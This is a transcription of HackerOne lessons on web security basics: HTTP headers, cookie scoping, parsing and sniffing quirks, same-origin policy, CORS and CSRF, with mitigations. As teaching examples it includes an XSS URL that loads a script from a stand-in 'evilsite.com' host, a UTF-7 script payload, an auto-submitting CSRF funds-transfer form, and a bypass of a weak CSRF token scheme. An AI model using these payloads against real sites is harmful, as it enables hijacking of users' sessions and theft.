All this text wasn’t written by me (Tiago a.k.a TigaxMT).

All of it was transcribed by me from HackerOne video lessons.

All credits and thanks go to them.

The Web In Depth

REQUESTS

Everyone here has probably seen an HTTP request:

```
GET / HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
```

Basic format is as follows:

VERB *resource*/locator HTTP/1.1
Header1: Value1
Header2: Value2

…

<Body of request>

REQUEST HEADERS

- **Host:** Indicates the desired host handling the requests
- **Accept:** Indicates what MIME type(s) are accepted by the client; often used to specify JSON or XML output for web-services.
- **Cookie:** Passes cookie data to the server
- **Referer:** Page leading to this request (note: this is not passed to other servers when using HTTPS on the origin)
- **Authorization:** Used for ‘basic auth’ pages (mainly). Takes the form “Basic <base64’d username:password>”

COOKIES

As most of you know, cookies are key-value pairs of data that are sent from the server and reside on the client for a fixed period of time.

Each cookie has a domain pattern that it applies to and they’re passed with each request the client makes to matching hosts.

COOKIE SECURITY

- Cookie added for .example.com can be read by any subdomain of example.com
- Cookies added for a subdomain can only be read in that subdomain and its subdomains.

- A subdomain can set cookies for its own subdomains and parent, but it can't set cookies for sibling domains
  - E.g. **test.example.com** can't set cookies on **test2.example.com**, but can set them on example.com and foo.test.example.com

There are two important flags to know for cookies:

- **Secure:** The cookie will only be acessible to HTTPS pages
- **HTTPOnly:** The cookie cannot be read by JavaScript

The server indicates these flags in the Set-Cookie header that passes them in the first place.

HTML PARSING

HTML should be parsed according to the relevant spec, generally HTML5 now.

But when you're talking about security, it's often not just parsed by your browser, but also Web-Application Firewalls and other filters.

Wherever there's a discrepancy in how these two item parse things, there's probably a vuln.

CANONICAL EXAMPLE

You go to http://example.com/vulnerable?name=<script/xss%20src=http://evilsite.com/my.js> and it generates:

```
<!doctype html><html>
    <head>
        <title>Vulnerable page named <script/xss src=http://evilsite.com/my.js></title>
    </head>
</html>
```

A bad XSS filter on the web application may not seen that as a script tag due to it being a 'script/xss' tag. But Firefox's HTML parser, for instance, will treat the slash as whitespace, enabling the attack!

LEGACY PARSING

Due to decades of bad HTML, browsers are quite excellent at cleaning up after authors, and these conditions are often exploitable.

- <script> tag on its own will automatically be closed at the end of the page
- A tag missing its closing angle bracket will automatically be close by the angle bracket of the next tag on the page

MIME SNIFFING

The browser will often not just look at the Content-Type header that the server is passing, but also the contents of the page. If it looks enough like HTML, it'll be parsed as HTML.

This led to IE 6/7-era bugs where image and text files containing HTML tags would execute as HTML.

Imagine a site with a file upload function for profile pictures.

If that file contains enough HTML to trigger the sniffing heuristics, an attacker could upload a picture and then link it to victims.

This is one of the reasons why Facebook and other sites use a separate domain to host such content.

ENCONDIG SNIFFING

Similarly, the encoding used on a document will be sniffed by (mainly older) browsers.

If you don't specify an encoding for an HTML document, the browser will apply heuristics to determine it.

If you are able to control the way the browser decodes text, you may be able to alter the parsing.

A good example is putting UTF-7 (7-bit Unicode with Base 64'd block denoted by +..-) text into XSS payloads.

Consider the payload:

+ADw-script+AD4-alert(1);+ADw-/script+AD4-

This will go cleanly through HTML encoding, as there are no 'unsafe' characters.

IE8 and below, along with a host of other older browsers, will see this in a page as UTF-7 and switch parsing over, enabling the attack to succeed.

WHAT IS SOP?

Same-Origin Policy (SOP) is how the browser restricts a number of security-critical features:

- What domains you can contact via XMLHttpRequest
- Access to the DOM across separate frames/windows

ORIGIN MATCHING

The way origin matching for SOP work is more strict than cookies:

- Protocol must match – no crossing HTTP(S) boundaries
- Port numbers must match
- Domain names must be an exact match – no wildcarding or subdomain walking.

SOP LOOSENING

It's possible for developers to loosen the grip that SOP has on their communications, by changing document.domain, posting messages between windows, and by using CORS (cross-origin resource sharing).

All of these open up interesting avenues for attack.

Anyone can call postMessage into an Iframe – how many pages validate messages properly?

CORS

CORS is still very new, but enables some very risky situations. In essence, you're allowed to make XMLHttpRequests to domains outside of your origin, but they have special headers to signify where request originates, what custom headers are added, etc.

It's possible to even have it pass the receiving domain's cookies, allowing attackers to potentially compromise logged-in users. The security prospects here are still largely unexplored.

WHAT IS CSRF?

Cross-Site Request Forgery is when an attacker tricks a victim into going to a page controlled by the attacker, wich then submits data to the target site as the victim.

It is one of the most common vulnerabilities today, and enables a whole host of others, namely rXSS.

The canonical example is a bank transfer site.

Here we have a form that allows a user to transfer money from their account to a destination account.

```
<form action="/levels/0/" method="POST">
    <h2>Transfer Funds</h2>
    Destination account: <input type="input" name="to" value=""><br>
    Amount: <input type="input" name="amount" value="">
    <br>
    <br>
    <input type="submit" value="Transfer">
</form>
```

UNKNOWN ORIGIN

When the server get such a transfer request from the client, how can it tell it actually came from the real site? Referer headers are unreliable at best.

Here we can see an automatic exploit that will transfer money if the user is logged in.

```
<body onload="document.forms[0].submit()">
    <form action="https://victim.vulnerable/levels/0/" method="POST">
        <input type="hidden" name="amount" value="1000000">
        <input type="hidden" name="to" value="1625">
    </form>
</body>
```

MITIGATION

Clearly, we need a way for the server to know for sure that the request has originated on its own page.

The best way to mitigate this bug is through the use of CSRF tokens. These are random tokens tied to a user's session, which you embed in each form that you generate.

Here you can see a form containing a safe, random CSRF token. In this case, it's 32 nibbles of hex – plenty of randomness to prevent guessing it.

```
<form action="post" method="POST">
    What's on your mind?<br>
    <textarea cols="40" rows="3" name="status"></textarea><br>
    <input type="hidden" name="csrf" value="8dbdb545d29dfc070911212d55cb871d">
    <input type="submit">
</form>
```

When the server gets a POST request, it should check to see that the CSRF token is present and matches the token associated with the user's session.

Note that this will not help with GET requests typically, but applications should not be changing state with GET requests anyway.

HOW NOT TO MITIGATE

I've seen a number of site implement "dynamic CSRF-proof forms". They had a csrf.js file that sends back code roughly equivalent to: $csrf = 'session CSRF token';

On each page, they had <script src="/csrf.js"> and then baked the CSRF token into the forms from there.

So all I had to do was include that same tag in my own exploit!

REVIEW

- Cookie domain scoping is often a source of trouble
- Same-Origin Policy is strict, but complex enough to be a frequent source of headaches for defenders and attackers alike
- Cross-Site Request Forgery is when an attacker tricks a victim into going to a page that triggers requests on other sites
    - Use CSRF tokens!